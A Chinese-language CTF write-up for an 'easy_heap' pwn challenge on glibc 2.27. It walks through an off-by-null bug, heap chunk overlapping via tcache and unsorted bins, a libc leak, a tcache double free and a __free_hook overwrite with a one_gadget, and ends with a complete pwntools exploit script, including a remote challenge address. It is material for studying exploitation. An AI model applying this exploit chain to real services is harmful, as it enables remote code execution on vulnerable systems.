保护
分析
ida中新建结构体:
快捷键shift+f1打开local types视图
再右击insert添加结构体:
struct ptr{
char *p;
unsigned int size;
};
struct ptr_array{
ptr array[10];
};
新建后效果:
然后就可以在伪代码中进行类型转化了如图:选择刚才新建的结构体
效果图:
main:
malloc:
free:
puts:
这题的保护措施做的很好,常见的free函数也没问题,但是这题有个off-by-null的漏洞,因为这题的限制条件较多所以考虑用堆重叠(overlapping heap chunk),然后就可以进行对重叠的chunk进行double free写入one_gadget到free_hook进行getshell
因为这题写入content时限制了\x00字符,那么在写入字节流时就会断掉写入
首先构造unsortbin进行合并的prev_size:
################################ Function ############################################
def malloc(size,data):
sla('> ','1')
sla('> ',str(size))
sla('> ',data)
def free(idx):
sla('> ','2')
sla('> ',str(idx))
def puts(idx):
sla('> ','3')
sla('> ',str(idx))
def lotMalloc(s,e):
for i in range(s,e):
malloc(1,str(i))
def lotFree(s,e):
for i in range(s,e):
free(i)
#-----------------------构造unsortbins的prve_size---------------
lotMalloc(0,10) #因为存在tcache 事先准备7个以上的chunk
lotFree(3,10) #填充满tcachebins
lotFree(0,3) #此时free将会进入到unsortbins中,并且会进行合并,合并之后会写入对应的prve_size
lotMalloc(0,7)#清空tcachebins,便于后面拿出unsortbins的chunk
结果图:
可以看到已经通过unlink对chunk的prev_size进行了0x200的写入,这一步是通过手动写入p64(0x200)无法完成的
然后就是通过off-by-null对堆块进行重叠,因为tcache的存在所以要填入到unsortbin中就需要先填满tcachebin,所以写法看起来有点绕,但是原理很简单
这题的off-by-null漏洞只有在首次写入content的时候使用,正常情况下堆块是由低地址到高地址申请空间的,那么这时的off-by-null漏洞就之后被后面新堆块覆盖,那么就需要构造一个堆空间结构
经过上面的写入prevsize后此时的堆空间结构如图:
那么此时想要将chunk8进行堆重叠,那么理想情况下是chunk7(unsortbin)是free状态,chunk8是使用状态,chunk9(unsortbin)是free状态,然后即可根据chunk9的prevsize进行向上合并chunk,从而造成堆重叠,示意图如下:
根据上面就可以使用off-by-null填入到chunk8然后溢出null字节到chunk9从而改变chunk9的P标志位,伪造chunk8为free状态从而正常进行unlink,在此之前可以事先将chunk7放入到unsortbins中,根据tcache的特性会首先在tcachebins中去寻找适合大小的chunk,那么就可以将chunk8放入到tcachebins链表中的首个(先进后出)这样就可以控制malloc分配到的想要的free chunk了
#-----------------------overlapping heap chunk---------------
lotMalloc(7,10) #从unsortbins拿回chunk7,8,9
free(8) #将chunk8放入到tcachebins
lotFree(0,6) #填满tcachebins
free(7) #chunk7放入unsortbins
lotMalloc(0,6)
malloc(0xf8,'7') #这里拿到的是原chunk8位置的chunk,但是它在程序中的索引是7所以我命名为7然后写入0xf8的size,那么造成了off-by-null
运行结果截图:
那么现在只需要free chunk9即可进行unlink了,从而造成堆重叠
lotFree(0,7) #tcachebins
free(9) #unlink
运行结果图:
堆重叠后,因为此时chunk8合并到了chunk7,在从chunk7(unsortbins)中进行分割,使libc偏移地址写入到重叠的堆块中通过puts函数即可获得libc地址:
lotMalloc(0,7) #便于拿到unsortbins的chunk
malloc(1,'8')
puts(7)
libc_base = info(rc(6))-(0x7f010cc66ca0-0x7f010c87b000)
pa('leak libc')
同样利用堆重叠进行tcache的double free
malloc(1,'9') #拿到重叠堆块
此时用与保存子堆块的chunk如图:
可以看到索引为7和9的堆块都是指向同一块内存,那么就可以进行double free了
free(7)
free(9) #double free
因为2.27的libc没有对tcache的double free进行检查所以可以直接改变fd值从而写入目标地址
malloc(8,p64(libc_base + libc.symbols['__free_hook']))
此时用与保存子堆块的chunk如图:
因为程序只允许存在10个堆块,要拿到__free_hook的chunk就需要再malloc2次,很显然程序现在只能新增一个堆块了,那么重新分配chunk,将多余的一个chunk释放到unsortbins中去即可,最后拿到_free_hook再getshell
lotFree(0,7)
lotMalloc(0,7)
malloc(8,p64(libc_base + one[1]))
free(0)
这题运用了tcachebins和unsortbins的优先分配原则从而达到控制malloc得到free chunk的顺序
注意!exp在libc2.28不行对unlink新增了对prevsize和合并的chunk size是否一致的检查
完整exp:
from pwn import *
#import sys
context.terminal = ['terminator', '-x', 'sh', '-c']
context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')
binary = "./easy_heap"
#one = [0x45206,0x4525a,0xcc673,0xcc748,0xefa00,0xf0897,0xf5e40,0xef9f4] #2.23(64)
#one = [0x3ac3c,0x3ac3e,0x3ac42,0x3ac49,0x3ac6c,0x3ac6d,0x5faa5,0x5faa6] #2.23(32)
one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a38c,0x10a398] #2.27(64)
#idx = int(sys.argv[1])
global p
local = 1
if local:
p = process(binary)
e = ELF(binary)
libc = e.libc
else:
p = remote("111.200.241.244","58782")
e = ELF(binary)
libc = e.libc
#libc = ELF('./libc_32.so.6')
################################ Condfig ############################################
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
it = lambda :p.interactive()
def z(s='b main'):
gdb.attach(p,s)
def logs(addr,string='logs'):
if(isinstance(addr,int)):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
else:
print('\033[1;31;40m%20s-->%s\033[0m'%(string,addr))
def pa(s='1'):
log.success('pause : step---> '+str(s))
pause()
def info(data,key='info',bit=64):
if(bit == 64):
leak = u64(data.ljust(8, b'\0'))
else:
leak = u32(data.ljust(4, b'\0'))
logs(leak,key)
return leak
################################ Function ############################################
def malloc(size,data):
sla('> ','1')
sla('> ',str(size))
sla('> ',data)
def free(idx):
sla('> ','2')
sla('> ',str(idx))
def puts(idx):
sla('> ','3')
sla('> ',str(idx))
def lotMalloc(s,e):
for i in range(s,e):
malloc(1,str(i))
def lotFree(s,e):
for i in range(s,e):
free(i)
################################### Statr ############################################
#-----------------------构造unsortbins的prve_size---------------
lotMalloc(0,10) #因为存在tcache 事先准备7个以上的chunk
lotFree(3,10) #填充满tcachebins
lotFree(0,3) #此时free将会进入到unsortbins中,并且会进行合并,合并之后会写入对应的prve_size
lotMalloc(0,7)#清空tcachebins,便于后面拿出unsortbins的chunk
#-----------------------overlapping heap chunk---------------
lotMalloc(7,10) #从unsortbins拿回chunk7,8,9
free(8) #将chunk8放入到tcachebins
lotFree(0,6) #填满tcachebins
free(7) #chunk7放入unsortbins
lotMalloc(0,6)
malloc(0xf8,'7') #这里拿到的是原chunk8位置的chunk,但是它在程序中的索引是7所以我命名为7然后写入0xf8的size,那么造成了off-by-null
#pa('off-by-null')
lotFree(0,7) #tcachebins
free(9) #unlink
#pa('unlink')
lotMalloc(0,7) #便于拿到unsortbins的chunk
malloc(1,'8')
puts(7)
libc_base = info(rc(6))-(0x7f010cc66ca0-0x7f010c87b000)
#pa('leak libc')
malloc(1,'9') #拿到重叠堆块
free(7) #double free
free(9) #
#pa('double free')
malloc(8,p64(libc_base + libc.symbols['__free_hook']))
lotFree(0,7)
lotMalloc(0,7)
malloc(8,p64(libc_base + one[1]))
free(0)
################################### End ##############################################
p.interactive()